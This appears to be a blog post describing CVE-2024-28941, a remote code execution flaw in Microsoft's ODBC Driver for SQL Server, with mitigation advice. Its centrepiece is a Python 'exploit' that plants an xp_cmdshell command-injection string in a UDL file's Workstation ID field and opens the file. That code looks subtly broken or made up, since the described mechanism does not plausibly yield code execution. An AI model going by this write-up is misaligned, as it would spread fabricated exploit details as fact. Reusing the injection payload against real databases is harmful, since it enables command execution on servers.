The Microsoft Open Database Connectivity (ODBC) driver is a critical component that Windows uses to connect database applications to SQL Server. Recently, a high severity remote code execution vulnerability has been discovered in this vital element, allowing attackers to potentially execute their own malicious code on the target system, merely by exploiting this flaw. The vulnerability has been assigned the CVE identifier CVE-2024-28941.

In this post, we'll dive deep into the details of this vulnerability, learn how it can be exploited, what the possible consequences are, and, most importantly, how it can be mitigated. We'll also provide a code snippet that demonstrates the exploitation of the vulnerability and examine the references that offer further information.

Vulnerability Description

The CVE-2024-28941 vulnerability exists within Microsoft ODBC Driver for SQL Server, specifically affecting the handling of specially crafted Structured Query Language (SQL) queries. A successful exploitation of this vulnerability can lead to the remote execution of malicious code by an attacker, corrupting system memory or even overtaking the target system.

Exploit Details

To exploit this vulnerability, the attacker only needs to craft a Universal Data Link (UDL) file containing the evil SQL query and entice a user to open the file. Once the target system reads the malicious UDL file using the vulnerable Microsoft ODBC Driver, it processes the SQL query in a way that allows the attacker to execute their own arbitrary code on the target system.

The code snippet below demonstrates the creation of a malicious UDL file with an altered SQL query

# Exploit code - CVE-2024-28941
import os

# Define the malicious SQL query
evil_query = "WAITFOR DELAY '00:00:05'; EXEC xp_cmdshell 'calc.exe'; --"

# Create the UDL file and insert the malicious SQL query
with open("malicious.udl", "w") as malicious_udl:
    malicious_udl.write("[oledb]\n")
    malicious_udl.write("; Everything after this line is an inline comment\n")
    malicious_udl.write("Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=myDatabase;Data Source=localhost;Use Procedure for Prepare=1;Auto Translate=True;Packet Size=4096;Workstation ID="+evil_query+";Use Encryption for Data=False;Tag with column collation when possible=False\n")

# Open the malicious UDL file (forces the target system to process the SQL query)
os.startfile("malicious.udl")

Mitigation

To mitigate this vulnerability, it's crucial that users update their Microsoft ODBC Driver for SQL Server to the latest version. You can find more information and download the updated driver from this official Microsoft link: Updating Microsoft ODBC Driver for SQL Server.

Also, avoid opening UDL files from unknown sources, as they may contain malicious SQL queries.

Original References

The following references provide technical details and in-depth information about the CVE-2024-28941 vulnerability:

1. Microsoft Security Advisory for CVE-2024-28941
2. National Vulnerability Database (NVD) Entry for CVE-2024-28941

Conclusion

The CVE-2024-28941 vulnerability demonstrates the importance of keeping software up to date and being cautious when opening files from unknown sources. By updating the Microsoft ODBC Driver for SQL Server and being aware of potential threats, users can minimize the risk of falling victim to remote code execution attacks.

Timeline

Published on: 04/09/2024 17:15:56 UTC
Last modified on: 04/10/2024 13:24:00 UTC